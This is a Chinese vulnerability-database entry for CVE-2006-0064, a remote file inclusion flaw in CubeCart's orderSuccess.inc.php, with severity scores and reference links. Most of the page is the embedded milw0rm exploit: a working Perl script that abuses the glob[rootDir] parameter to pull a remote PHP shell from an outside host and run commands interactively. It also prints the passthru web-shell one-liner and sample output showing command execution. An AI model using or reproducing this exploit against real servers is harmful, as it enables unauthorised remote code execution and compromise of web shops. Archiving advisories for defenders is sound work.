CVE-2006-0064
CVSS7.5
发布时间 :2006-01-03 17:03:00
修订时间 :2011-08-23 00:00:00
NMCOE    

[原文]PHP remote file include vulnerability in includes/orderSuccess.inc.php in CubeCart allows remote attackers to execute arbitrary PHP code via a URL in the glob[rootDir] parameter.


[CNNVD]CubeCart includes/orderSuccess.inc.php PHP远程文件包含漏洞(CNNVD-200601-008)

        CubeCart的includes/orderSuccess.inc.php存在PHP远程文件包含漏洞,可让远程攻击者通过glob[rootDir]参数中的URL执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0064
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0064
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-008
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/0016
(VENDOR_ADVISORY)  VUPEN  ADV-2006-0016
http://milw0rm.com/exploits/1398
(UNKNOWN)  MILW0RM  1398

- 漏洞信息

CubeCart includes/orderSuccess.inc.php PHP远程文件包含漏洞
高危 代码注入
2006-01-03 00:00:00 2006-05-12 00:00:00
远程  
        CubeCart的includes/orderSuccess.inc.php存在PHP远程文件包含漏洞,可让远程攻击者通过glob[rootDir]参数中的URL执行任意PHP代码。

- 公告与补丁

        

- 漏洞信息 (1398)

CubeCart <= 3.0.6 Remote Command Execution Exploit (EDBID:1398)
php webapps
2005-12-30 Verified
0 cijfer
N/A [点击下载]
#!/usr/bin/perl
#
# cijfer-ccxpl - CubeCart <=3.0.6 Remote Command Execution Exploit
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.           
#
## 1. example
#
# [cijfer@kalma:/research]$ perl ./cijfer-ccxpl.pl -h www.xxx.com -d
# [cijfer@www.xxx.com /]$ id;uname -a
# uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv)
# Linux server.xxx.com 2.6.10-1.771_FC2 #1 Mon Mar 28 00:50:14 EST 2005 i686 i686 i386 GNU/Linux
#
# [cijfer@www.xxx.com /]$
#
## 2. explanation
#
# a serious bug was discovered by me in CubeCart 3.0.6 and below which an attacker
# can remotely execute arbitrary commands via 'includes/orderSuccess.inc.php' where  
# passing input to the 'glob' and 'cart_order_id' variable, we can attain access to
# passing input to the 'glob[rootDir]' variable, and include a remote execution script
# to execute arbitrary commands. as usual, this requires 'register_globals' to be
# enabled in order to successfully do this, otherwise a 403 error will show.
#
## 3. the bug
#
# this below allows us to bypass the 403 error...
#
#       <?
#       ...
#       if(!isset($glob)){                                              [1]
#       ...
#
# pass more positive input to $cart_order_id and do you notice what is wrong here?
#       ...
#       if(isset($cart_order_id) && !empty($cart_order_id)){            [2]
#               // build thank you and confirmation email
#               include($glob['rootDir']."/classes/htmlMimeMail.php");  [3] !dangerous!
#               $mail = new htmlMimeMail();
#       ...
#
## 4. the php shell
#
# this exploit grabs data via regular expression strings. foreign php shell
# scripts will not work with this exploit. use the following code along with
# this exploit and put it in 'cmd.txt' or whatever you please:
#
#       <?passthru($_GET[cmd]);?>
#
## 5. the greets
#
# kippis to Zodiac, felosi, and odz. also shouts to lethal & hexy
#
##
#
# $Id: cijfer-ccxpl.pl,v 0.2 2005/12/30 06:02:00 cijfer Exp cijfer $

use Getopt::Std;
use IO::Socket;
use URI::Escape;

getopts("h:d:");

$host = $opt_h;
$dirs = $opt_d;
$shel = "http://website.com/cmd.txt";    # cmd shell url
$cmdv = "cmd";                           # cmd variable (ex. passthru($_GET[cmd]);)
$good = 0;

if(!$host||!$dirs)
{
        print "cijfer-ccxpl.pl by cijfer\n";
        print "usage: $0 -h cijfer.xxx -d /cubecart\r\n";
        print "usage: $0 -h <hostname> -d <directory>\r\n";
        exit();
}

while()
{
        print "[cijfer@".$host." /]\$ ";
        while(<STDIN>)
        {
                $cmds=$_;
                chomp($cmds);
                last;
        }

        $string  = $dirs;
        $string .= "/includes/orderSuccess.inc.php?";
        $string .= uri_escape($cmdv);
        $string .= "=";
        $string .= "%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B";
        $string .= uri_escape($cmds).";echo";
        $string .= "%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;";
        $string .= "&glob=1&cart_order_id=1&glob[rootDir]=";
        $string .= $shel;
        $string .= "?";

        $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n";

        print $sock "GET $string HTTP/1.1\n";
        print $sock "Host: $host\n";
        print $sock "Accept: */*\n";
        print $sock "Connection: close\n\n";

        while($result = <$sock>)
        {
                if($result =~ /^_END_/)
                {
                        $good=0;
                }

                if($good==1)
                {
                        print $result;
                }

                if($result =~ /^_START_/)
                {
                        $good=1;
                }
        }
}

# milw0rm.com [2005-12-30]
		

- 漏洞信息

22218
CubeCart orderSuccess.inc.php glob[rootDir] Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-01-03 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站